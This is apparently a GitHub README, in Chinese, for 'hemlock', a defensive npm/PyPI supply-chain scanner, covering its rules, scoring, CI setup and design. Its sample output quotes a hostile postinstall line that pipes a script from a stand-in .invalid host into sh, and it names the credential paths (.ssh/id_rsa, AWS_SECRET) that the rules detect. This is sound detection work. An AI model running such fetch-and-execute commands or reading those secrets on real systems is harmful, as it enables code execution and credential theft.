xzycd/hemlock
GitHub: xzycd/hemlock
一款零依赖的 npm/PyPI 供应链安全扫描器,通过行为分析在 CVE 发布之前标记可疑包,并对每一项评分提供完整解释。
Stars: 0 | Forks: 0
# hemlock
**毒铁杉长得像欧芹。**
一款针对 npm 和 PyPI 的供应链扫描器,它通过标记那些*表现*得像攻击的包来进行防御,而不是干等它们被分配 CVE 编号。
[](https://github.com/hemlock-scan/hemlock/actions/workflows/ci.yml)
[](https://www.python.org/downloads/)
[](LICENSE)
[](#zero-dependencies-on-purpose)
苏格拉底是被毒铁芹处死的。人们现在依然会误食它,
因为它与野生欧芹几乎无法区分:相同的高度,相同的
羽毛状叶子,相同的小白花。唯一的破绽是茎上的一簇紫色
斑点,而且只有当你知道该去找什么时候,你才能发现它们。
这就是 package registry 面临的全部问题。`colorz` 看起来
很像 `colors`。`chalk` 的一个补丁版本看起来就像 `chalk` 的
其他任何补丁版本一样。等到一个恶意 package 终于有了 CVE 编号时,
它已经被安装了好几天,而你的凭证早已被窃取到了别处。
传统的扫描器回答的是*“这个 package 有已知的漏洞吗?”*
这是一个有用的问题,但存在着致命的滞后。必须得有人先受到伤害,
然后报告它,接着等待安全公告。hemlock 问的是另一个问题:
在 package 发布的那一天,你就可以根据已经是公开且免费的 metadata 回答这个问题。
## 运行效果
```
hemlock ────────────────────────────── 12 packages · 2 manifests · offline
2 packages read credentials from an install script.
● 100 npm colorz 1.0.4 critical
├ HEM204 Install script touches credentials
│ postinstall references .ssh/id_, AWS_SECRET, id_rsa, ~/.ssh
├ HEM202 Install script downloads and executes
│ postinstall: curl -s https://cdn.example.invalid/setup.sh | sh
├ HEM101 Name is a near-miss of a popular package
│ 1 edit away from "colors"
└ HEM201 Runs a script at install time
postinstall: curl -s https://cdn.example.invalid/setup.sh | sh
install 75 + naming 30 = 105 ×1.25 (2 categories agree) → 100
● 82 npm types-node 20.1.0 high
├ HEM403 Resolved over plain HTTP
│ http://registry.internal.example.invalid/types-node-20.1.0.tgz
├ HEM104 Unscoped copy of a scoped package name
│ resembles the scoped package "@types/node"
└ HEM402 Lockfile entry has no integrity hash
types-node@20.1.0 pinned without a hash
lockfile 38 + naming 28 = 66 ×1.25 (2 categories agree) → 82
▇▇▇▇▇▇▇░░░░░░░░░░ 12 scanned · 2 critical · 2 high · 3 medium · 2 low
› hemlock explain HEM204 to read why any of these rules exist
```
每一条发现都展示了产生它的证据,每一个 package 都展示了
其得分背后的计算过程。这里没有模型,也没有供应商数据源。如果你
不同意某个数字,它下面的那行代码会告诉你该修改哪个权重。
## 安装
```
pip install hemlock-scan
```
或者,无需安装直接运行:
```
pipx run hemlock-scan scan .
```
## 使用
```
hemlock scan . # offline, fast, no network at all
hemlock scan . --online # add the registry trust checks
hemlock scan . --format sarif # for GitHub code scanning
hemlock explain HEM502 # why a rule exists and what to do about it
hemlock rules # every check, with its weight
```
它会自动寻找扫描目标。将它指向一个目录,它就会遍历查找
`package-lock.json`、`yarn.lock`、`package.json`、`requirements.txt`、
`poetry.lock`、`Pipfile.lock` 和 `pyproject.toml`。如果存在 `node_modules` 或
virtualenv,它也会读取已安装的源码,这是
真实 install 脚本存在的唯一位置。
### 值得优先尝试的部分
每一条规则都能长篇大论地解释自己,包括引发它的安全事件:
```
$ hemlock explain HEM502
HEM502 Published by a different account than usual
Registry trust · weight 45 · needs --online
npm records which account uploaded each individual version. This version
came from an account that did not publish the ones before it.
Sometimes that is a new co-maintainer or a release bot. Sometimes it is the
entire attack: the event-stream backdoor arrived when the original author
handed the package to a volunteer who had asked politely for it, and who
then added a dependency that stole Bitcoin wallets. The takeover of
ua-parser-js looked the same from the registry's side.
The question this raises is answerable in about a minute. Does the new
publisher appear in the project's repository? Did a maintainer announce the
handover? If the answer to both is no, do not install it.
```
一个只打印 rule ID 的扫描器什么也教不了你,只会让你
学会无视它。这里的每一项发现都以能够自我解释的命令结束。
## 检查内容
五大类别下的 23 条规则。其中 15 条不需要网络。
身份与命名,针对那些伪装成其他 package 的包:
| | | |
|---|---|---|
| `HEM101` | 名称与知名 package 极为相似 | 30 |
| `HEM102` | 知名名称加上看似合理的后缀 | 22 |
| `HEM103` | 名称包含形似字符 | 55 |
| `HEM104` | 带有 scope 的 package 的无 scope 副本 | 28 |
安装时执行,针对那些在你 import 任何内容之前运行的代码:
| | | |
|---|---|---|
| `HEM201` | 在 install 时运行脚本 | 18 |
| `HEM202` | install 脚本下载并执行代码 | 45 |
| `HEM203` | install 脚本解码已编码的 payload | 40 |
| `HEM204` | install 脚本触碰凭证 | 50 |
代码形态,针对是否有人能够阅读它:
| | | |
|---|---|---|
| `HEM301` | 源码看起来被刻意混淆 | 35 |
| `HEM302` | 在 runtime 构建(build)代码 | 25 |
版本锁定与完整性,针对你是否能控制安装的内容:
| | | |
|---|---|---|
| `HEM401` | 版本未锁定 | 12 |
| `HEM402` | lockfile 条目缺少完整性哈希 | 20 |
| `HEM403` | 通过纯 HTTP 解析 | 30 |
| `HEM404` | 从 registry 之外安装 | 22 |
| `HEM405` | 配置了额外的 package 索引 | 25 |
Registry 信任度,针对 registry 已经知晓的内容(需要 `--online`):
| | | |
|---|---|---|
| `HEM501` | 此版本发布时间非常近 | 25 |
| `HEM502` | 由与以往不同的账号发布 | 45 |
| `HEM503` | Release 未签名 | 15 |
| `HEM504` | 已弃用或撤回 | 25 |
| `HEM505` | 几乎没人安装此 package | 20 |
| `HEM506` | 没有源码仓库 | 15 |
| `HEM507` | 此版本报告了已知漏洞 | 30 |
| `HEM508` | Release 体积急剧增加 | 25 |
`HEM502` 是最需要了解的一条。npm 记录了发布每个
独立版本的账号,因此账号接管(account takeover)在发生的瞬间就能在公开 metadata 中显现出来,
这发生在任何安全公告之前,也发生在任何人解压 tarball 之前。
对于这个信号的出现,不需要先发生任何糟糕的事情。
## 评分机制
三套规则,你完全可以手动核对它们。
权重是累加的:触发的每一条规则都会贡献其权重。
同一类别内的重复触发权重递减。关于某个 install 脚本的四次发现
依然只是关于同一个 install 脚本的一次观察,因此一个类别的得分是
其最高扣分加上其余分数的 40%。如果没有这个机制,任何带有繁琐
`postinstall` 的 package 都会瞬间扣满分数。
跨类别的一致性会增加权重。一个极为相似的名称可能是个巧合。
但一个极为相似的名称,*同时*又运行了 install hook,并且*同时*
携带了混淆代码,这就是三个独立的令人担忧的理由,因此对于每多涉及一个类别,基础分就会增加 25%。
```
install 75 + naming 30 = 105 ×1.25 (2 categories agree) → 100 capped
```
分级:critical 85+,high 60 到 84,medium 30 到 59,low 1 到 29。
大多数规则被校准为单独触发时并不具有毁灭性。`HEM201` 意味着
package 运行了 install 脚本,其权重是 18,因为成千上万的正规
package 都会编译原生模块,单凭一条 `HEM201` 并不能说明问题。
只有当该 package 的其他某些方面已经显得异常时,它才变得重要,而
这套计算逻辑的设计正是为了让它仅仅在这种情况下才发挥作用。
## 在 CI 中
```
- run: pipx install hemlock-scan
- run: hemlock scan . --online --fail-on high
```
Exit code:`0` 表示没有达到阈值,`1` 表示有项目达到阈值,
`2` 表示扫描未能运行。使用
`--fail-on low|medium|high|critical|never` 设置阈值。
对于 GitHub code scanning,输出 SARIF 并将其交给 upload action,这
会将发现结果直接内联显示在引入它们的 pull request 上:
```
- run: hemlock scan . --format sarif > hemlock.sarif
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: hemlock.sarif
```
## 配置
可选配置,位于项目根目录的 `.hemlock.toml` 中:
```
fail_on = "high"
fresh_days = 14
[[ignore]]
rule = "HEM201"
package = "esbuild"
reason = "compiles a native binary at install time; reviewed 2026-07-14"
expires = "2026-12-31"
```
抑制规则(Suppressions)需要提供理由和过期时间,并且 hemlock 会将已过期的
抑制规则重新报告给你,而不是永远放行它们。一个没有截止日期的忽略规则
会比添加它的人存在得更久,而这正是一个扫描器悄无声息地
停止发现任何问题的原因。
## 零依赖,刻意为之
hemlock 不安装任何东西。仅使用标准库,支持 Python 3.11+。
这并不是为了极简而极简。一个职责是告诉你
你的依赖项很危险的工具,自身不应该带着十四个依赖项到来,
每一个依赖项都是一个传递性的 install 脚本和一个可能被
钓鱼的维护者账号。威胁模型包含了 hemlock 自身。
同样的逻辑也塑造了它的默认行为。`hemlock scan` 完全不进行任何网络调用,
因此除非你主动要求 `--online`,否则关于你依赖图的任何信息都不会
离开本机。这个标志仅与
`registry.npmjs.org` 和 `pypi.org` 的公共 endpoint 通信,
没有账号,没有 API key,并且它
不会向任何地方发送遥测数据。响应会被缓存在 `~/.cache/hemlock` 中,
持续六个小时。
## 它不包含什么
值得澄清一下,因为这些局限才是有趣的部分。
- 它不是 CVE 扫描器。`HEM507` 会报告安全公告,因为 PyPI 会免费提供
它们,但这只是一个副产品。若要全面覆盖已知漏洞,
请使用 `osv-scanner`、`pip-audit` 或 `npm audit`。它们回答的是
不同的问题,两者是互补的。
- 它不是沙箱。每一条规则都是静态的。没有任何东西会被执行,一个
足够谨慎的 payload 不会匹配这里的任何模式。
- 它会产生误报。install 脚本是常见且正常的,
单一维护者的 package 和最新 release 也是如此。这就是为什么没有任何东西会
仅凭单一信号就被判定为 critical,也是为什么抑制规则是一等公民。
- 它仅覆盖 npm 和 PyPI。那是流量所在之处。Cargo、Go modules
和 Maven 也是同类型的问题,可以直接插入到 `hemlock/` 中,与
`npm.py` 和 `pypi.py` 并列。
- 它不能证明一个 package 是安全的。没有任何东西能做到。一次干净的扫描意味着这里
没有任何匹配项,仅此而已。
## 运作机制
```
hemlock/
cli.py argument parsing, exit codes
scan.py find manifests, resolve packages, run rules, score
model.py Package, Finding, Verdict, and the rule registry
rules.py every check, one function each
score.py the arithmetic above, and only that
npm.py package-lock, yarn.lock, package.json, node_modules
pypi.py requirements, poetry.lock, Pipfile.lock, pyproject
registry.py the public registry lookups behind --online
policy.py .hemlock.toml
report.py terminal, JSON, SARIF
data.py typosquat corpus, homoglyphs, credential paths
```
一条规则就是一个函数,它接收一个 package 并输出证据字符串。不输出
任何内容意味着它没有触发。权重和描述文本存在于 decorator 中,因此
添加一项检查只需要一个函数和一个 docstring,并且调整打分
完全不需要触碰检测逻辑:
```
@rule("HEM403", title="Resolved over plain HTTP", category="lockfile", weight=30,
explain="""The artifact is fetched over HTTP. Anyone on the path between
the build machine and the registry can replace it...""")
def insecure_transport(pkg, ctx):
if pkg.resolved and pkg.resolved.startswith("http://"):
yield pkg.resolved
```
## 开发
```
git clone https://github.com/hemlock-scan/hemlock
cd hemlock
pip install -e ".[dev]"
pytest -q
```
`examples/compromised-app` 是一个为了被抓住而构建的无效项目。其中的
每一个依赖项都是为了触发特定的规则而植入的,payload 是随机
字符,URL 指向无法解析的 `.invalid` 域名。CI 会
断言它仍然会返回 critical,因此如果某条规则悄然停止触发,
它会破坏构建,而不是在下一个 release 中才暴露。请参阅
[examples/README.md](examples/README.md) 获取关于什么会触发什么的完整映射。
## 路线图
- 支持 Cargo 和 Go module
- `hemlock diff`,用于评估 lockfile 的变更而不是整个树,从而可以单独审查依赖项升级
- 将已发布的构建产物与带标签的源码进行比较,这正是
`chalk` 和 `event-stream` 遭到入侵时直接利用的漏洞
- 冷却期策略:对任何在 N 天前发布的依赖项触发失败,
这本身就能关闭大部分账号接管的窗口期
## 许可证
MIT。请参阅 [LICENSE](LICENSE)。标签:LNA, npm, PyPI, Python安全, StruQ, 云安全监控, 加密, 漏洞扫描器, 逆向工具, 静态分析